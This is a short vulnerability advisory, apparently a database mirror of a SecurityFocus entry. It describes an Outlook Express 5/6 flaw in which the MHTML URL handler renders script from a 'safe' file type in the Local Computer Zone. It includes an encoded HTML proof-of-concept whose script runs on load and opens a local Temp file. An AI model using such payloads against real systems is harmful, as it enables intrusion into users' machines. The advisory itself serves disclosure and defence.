Microsoft Outlook Express 5/6 MHTML URL Handler File Rendering Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Microsoft Outlook Express MHTML URL Handler File Rendering Vulnerabilit


                                                source: http://www.securityfocus.com/bid/5473/info

Microsoft Outlook Express introduced a URL handler called MHTML (MIME Encapsulation of Aggregate HTML). This allows Internet Explorer to pass MHTML files to Outlook Express for rendering.

The MHTML URL handler does not validate the file type it is rendering. This could allow a file type that is normally considered to be a &#34;safe file type&#34;, such as a .txt file, to be opened and have any script contained within rendered. This script would then be rendered in the Local Computer Zone.

&#60;html&#62;
&#60;head&#62;
&#60;title&#62;malware.com&#60;/title&#62;
&#60;meta NAME=&#34;Author&#34; CONTENT=&#34;malware.com&#34;&#62;
&#60;meta name=&#34;robots&#34; content=&#34;noindex, nofollow&#34;&#62;
&#60;/head&#62;
&#60;body onload=malware() style=&#34;behavior: url(#default#httpFolder);&#34;&#62;
&#60;script&#62;
function malware(){
document.body.navigate(&#34;http://www.microsoft.com&#34;);alert(&#34;malware&#34;);
open(&#34;file://C%3A%5CWINDOWS%5CTemp%5Cwecerr.txt&#34;)
}
&#60;/script&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;&#60;br&#62;
&#60;center&#62;&#60;image src=&#34;smile.gif&#34;&#62;&#60;/center&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1